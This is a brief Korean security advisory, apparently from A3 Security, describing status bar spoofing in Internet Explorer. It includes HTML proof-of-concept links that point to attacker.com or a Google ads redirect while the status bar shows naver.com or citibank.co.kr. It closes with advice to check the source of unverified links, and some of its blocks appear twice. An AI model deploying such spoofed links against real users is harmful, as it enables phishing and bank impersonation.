▷ 작성자 : 이택현 컨설턴트
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)
이택현 컨설턴트가 작년에 작성한 내용을 편집하였습니다.
Status bar spoofing
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)
이택현 컨설턴트가 작년에 작성한 내용을 편집하였습니다.
Status bar spoofing
세부내용
1. status bar spoofing 취약점
1. status bar spoofing 취약점
onmouseover 태그를 이동하여 Status 바에 표시되지 않는 URL로 유도되도록 악의적인 목적으로 이용될 수 있습니다.
Internet Explorer에서는 모두 적용이 됩니다.
<html>
<body>
<a href="http://www.attacker.com" onmousemove="window.status='http://www.naver.c
om';" onmouseout="window.status='완료.';">click</a>
</body>
</html>
2. 구글 ads 와 조합
다음은 구글 ads 를 이용하여 타 사이트로 Rediretion 시키는 예제입니다.
Internet Explorer에서는 모두 적용이 됩니다.
<html>
<body>
<a href="http://www.attacker.com" onmousemove="window.status='http://www.naver.c
om';" onmouseout="window.status='완료.';">click</a>
</body>
</html>
2. 구글 ads 와 조합
다음은 구글 ads 를 이용하여 타 사이트로 Rediretion 시키는 예제입니다.
<html>
<body>
<a href="http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5Q-fXBJGSiQLU0eDSAueHkArnhtWZAu-FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8B
oAGyqor_A8gBAZUCCapCCqkCxU7NLQH0sz4&amp;num=5&adurl=http://www.a3sc.co.kr" onmousemove="window.status='http://www.citibank.co.kr
';" onmouseout="window.status'완료.';">http://www.citibank.co.kr</a>
</body></html>
세부내용
메일이나 게시판 등에 의해 공격 가능성이 존재합니다. 확인되지 않는 링크는 클릭을 하지 않길 바랍니다.
의심되는 경우에는 [소스보기]를 통해서 재확인을 하시길 바랍니다.
<body>
<a href="http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5Q-fXBJGSiQLU0eDSAueHkArnhtWZAu-FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8B
oAGyqor_A8gBAZUCCapCCqkCxU7NLQH0sz4&amp;num=5&adurl=http://www.a3sc.co.kr" onmousemove="window.status='http://www.citibank.co.kr
';" onmouseout="window.status'완료.';">http://www.citibank.co.kr</a>
</body></html>
세부내용
메일이나 게시판 등에 의해 공격 가능성이 존재합니다. 확인되지 않는 링크는 클릭을 하지 않길 바랍니다.
의심되는 경우에는 [소스보기]를 통해서 재확인을 하시길 바랍니다.
Copyright(c) 1998-2008 A3 Security ,LTD
Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.
